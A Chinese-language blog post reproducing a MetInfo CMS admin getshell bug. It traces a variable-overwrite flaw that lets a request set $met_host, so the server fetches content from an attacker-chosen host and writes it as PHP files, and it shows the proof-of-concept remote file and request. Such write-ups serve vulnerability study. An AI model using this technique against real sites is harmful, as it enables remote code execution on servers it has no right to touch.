整体思路

  • 挖掘伪全局变量
  • 然后找可控参数进行利用#伪全局变量:可理解为全局变量,例部分CMS为了全局过滤SQL注入或者XSS之类的漏洞就会将GET、POST、COOKIE等请求借入全局然后直接过滤。这样就做到了全部统一过滤SQL、XSS等漏洞

实例:

  参考链接:http://www.91ri.org/16663.html

前言:

  • Metlnfo正是一个伪全局的CMS。
  • /admin/include/common.inc.php第24行即可看出Metlnfo是伪全局了。
  •  define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    isset($_REQUEST['GLOBALS']) && exit('Access Error');
    require_once ROOTPATH.'include/global.func.php';
    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
    $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
    $_M['form'][$_key] = daddslashes($_value,0,0,1);
    }
    }

    且如上的第6行还存在变量覆盖漏洞。(也就是说如果有什么危险的变量在没有被赋值的情况下可以使用这个漏洞去将其赋值)

开始分析:

漏洞文件:/admin/app/physical/physical.php

 $post=array('ver'=>$metcms_v,'app'=>$applist);
$result=curl_post($post,60);
if(link_error($result)==1){
$results=explode('<Met>',$result);
file_put_contents('dlappfile.php',$results[1]);
file_put_contents('standard.php',$results[0].$results[1]);
}

如上代码所示,第5、6行中的file_put_contents中有两个参数,如果$results可控那么可能就可以造成远程文件写入的漏洞。那么我们追踪$results,因为$results是在curl_post函数中得到的,所以我们追踪这个函数。

我将鼠标放至该函数便可追踪到其来源。有三个文件。

 /include/export.func.php
app/system/include/class/curl.class.php
install/index.php

第二个跟第三个均未被包含在这个文件。那么我们就锁定在/include/export.func.php文件当中

 <?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
/*发送POST*/
function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
$curlHandle=curl_init();
curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_POST, 1);
curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
$result=curl_exec($curlHandle);
curl_close($curlHandle);
}

第7行当中的$met_host并未赋值即为可控(无论是在export.func.php还是在physical.php当中)。$met_file在physical.php当中有进行赋值。(这两个变量是在export.func.php的第当中7、8有进行定义)

所以得出$met_host可控,而$met_file不可控。

回来看这个漏洞所在的地方。

在122行必须要满足physical[11] == 1才能执行这个漏洞。那么看一下如何才能成立。

往physical这个文件的开头看去终于找到了。

当action为do的时候等于$physicaldo[11] == 1

所以构造出payload为

首先现在远程服务器上新建一个standard.php

内容为:

 metinfo

 <Met>

 <?php
echo "Joseph";
?> <Met> <?php
echo "<?php phpinfo();?>";
?>

physical.php?action=do?met_host=127.0.0.1

漏洞还是挺鸡肋。不支持远程写入也是没法儿的。

Metlnfo cms后台getshell漏洞复现的更多相关文章

  1. 16.Tomcat弱口令 && 后台getshell漏洞

    Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中, ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. [漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomc ...

  4. 74cms v4.2.1-v4.2.129-后台getshell漏洞复现

    0x00 影响范围 v4.2.1-v4.2.129 0x01 环境搭建 1. 先去官网下载 骑士人才系统基础版(安装包) 2.将下载好的包进行安装 0x02 复现过程 当前版本v4.2.111 点加工 ...

  5. 12.Weblogic 弱口令 && 后台getshell漏洞

    利用docker环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞. 分别通过这两种漏洞,模拟对weblogic场景的渗透. Weblogic版本:10.3. ...

  6. Tomcat7+ 弱口令 && 后台getshell漏洞

    打开tomcat管理页面http://192.168.49.2:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台 先将jsp大马压缩为zip,再将zip后缀改名为 ...

  7. Tomcat口令暴力猜解&&后台getshell

    Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 &l ...

  8. 【漏洞复现】PHPmyadmin 4.8.1后台Getshell新姿势

    原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道 ...

  9. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

随机推荐

  1. C# 知识回顾 - 你真的懂异常(Exception)吗?

    你真的懂异常(Exception)吗? 目录 异常介绍 异常的特点 怎样使用异常 处理异常的 try-catch-finally 捕获异常的 Catch 块 释放资源的 Finally 块 一.异常介 ...

  2. MySQL中使用trim()删除两侧字符

    在某些情况下由于程序没处理好,导致数据表中有些字段的值会有空白字符出现,如 这样如果在严格比对name时会匹配不到.trim()函数可以解决这样的问题 作为trim()函数的子集,ltrim()函数是 ...

  3. 算法训练 Bus Tour

    问题描述 想象你是一个在Warsaw的游客,而且预订了一次乘车旅行,去城镇外看一些令人惊异的景点.这辆公共汽车首先围绕城镇行驶一段时间(一段很长的时间,由于Warsaw是一个大城市),把在各自旅馆的人 ...

  4. BZOJ 1085 [SCOI2005]骑士精神 【A*启发式搜索】

    1085: [SCOI2005]骑士精神 Time Limit: 10 Sec  Memory Limit: 162 MB Submit: 2838  Solved: 1663 [Submit][St ...

  5. UVA.10305 Ordering Tasks (拓扑排序)

    UVA.10305 Ordering Tasks 题意分析 详解请移步 算法学习 拓扑排序(TopSort) 拓扑排序的裸题 基本方法是,indegree表示入度表,vector存后继节点.在tops ...

  6. React生命周期的变化

    1.ES6语法的引入,砍掉了getDefaultProps和getInitialState getDefaultProps 使用 static default={}的方式代替getInitialSta ...

  7. [zhuan]使用uiautomator做UI测试

    http://blog.chengyunfeng.com/?p=504 在Android 4.1发布的时候包含了一种新的测试工具–uiautomator,uiautomator是用来做UI测试的.也就 ...

  8. C/C++中二维数组和指针关系分析

    在C/c++中,数组和指针有着密切的关系,有很多地方说数组就是指针式错误的一种说法.这两者是不同的数据结构.其实,在C/c++中没有所谓的二维数组,书面表达就是数组的数组.我猜想是为了表述方便才叫它二 ...

  9. 《python核心编程》--读书笔记 第21章 数据库编程

    准备:今天拿笔记本装了mysql,这样就能在不同地方用其他电脑远程访问同一个数据库了. python安装MySQLdb模块:http://www.codegood.com/downloads. 21. ...

  10. Codeforces Round #547 (Div. 3) 题解

    Codeforces Round #547 (Div. 3) 题目链接:https://codeforces.com/contest/1141 A,B咕咕了... C. Polycarp Restor ...